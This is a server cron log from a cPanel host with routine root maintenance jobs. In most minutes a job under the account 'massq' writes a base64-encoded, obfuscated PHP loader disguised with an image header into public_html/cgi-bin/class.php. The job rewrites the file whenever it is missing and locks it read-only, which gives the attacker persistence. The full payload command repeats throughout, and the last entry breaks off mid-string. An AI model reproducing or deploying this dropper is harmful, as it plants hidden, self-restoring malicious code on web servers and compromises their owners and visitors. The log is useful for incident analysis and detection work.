Sep  9 03:39:01 server CROND[4485]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:39:01 server CROND[4486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:39:01 server CROND[4487]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:39:01 server CROND[4488]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 03:40:01 server CROND[4867]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 03:40:01 server CROND[4870]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 03:40:01 server CROND[4872]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 03:40:01 server CROND[4873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:40:01 server CROND[4874]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 03:40:01 server CROND[4875]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 03:40:01 server CROND[4877]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:40:01 server CROND[4879]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:41:01 server CROND[5706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:41:01 server CROND[5707]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:41:01 server CROND[5708]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:42:01 server CROND[6088]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:42:01 server CROND[6089]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:42:01 server CROND[6087]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 03:42:01 server CROND[6090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:43:00 server anacron[8198]: Job `cron.daily' started
Sep  9 03:43:00 server run-parts(/etc/cron.daily)[6548]: starting imunify-antivirus.cron
Sep  9 03:43:01 server CROND[6577]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:43:01 server CROND[6578]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:43:01 server CROND[6579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:44:01 server CROND[6956]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:44:01 server CROND[6957]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:44:01 server CROND[6958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:45:01 server CROND[7337]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 03:45:01 server CROND[7339]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 03:45:01 server CROND[7341]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:45:01 server CROND[7345]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 03:45:01 server CROND[7342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:45:01 server CROND[7344]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 03:45:01 server CROND[7343]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:46:01 server CROND[8595]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:46:01 server CROND[8596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:46:01 server CROND[8597]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:47:01 server CROND[9301]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:47:01 server CROND[9302]: (root) CMD (/usr/local/cpanel/bin/process_ssl_reissue)
Sep  9 03:47:01 server CROND[9304]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:47:01 server CROND[9303]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:48:01 server CROND[9943]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:48:01 server CROND[9944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:48:01 server CROND[9945]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:49:01 server CROND[10699]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:49:01 server CROND[10698]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:49:01 server CROND[10700]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:50:01 server CROND[11094]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 03:50:01 server CROND[11095]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 03:50:01 server CROND[11099]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:50:01 server CROND[11100]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 03:50:01 server CROND[11112]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 03:50:01 server CROND[11101]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 03:50:01 server CROND[11118]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0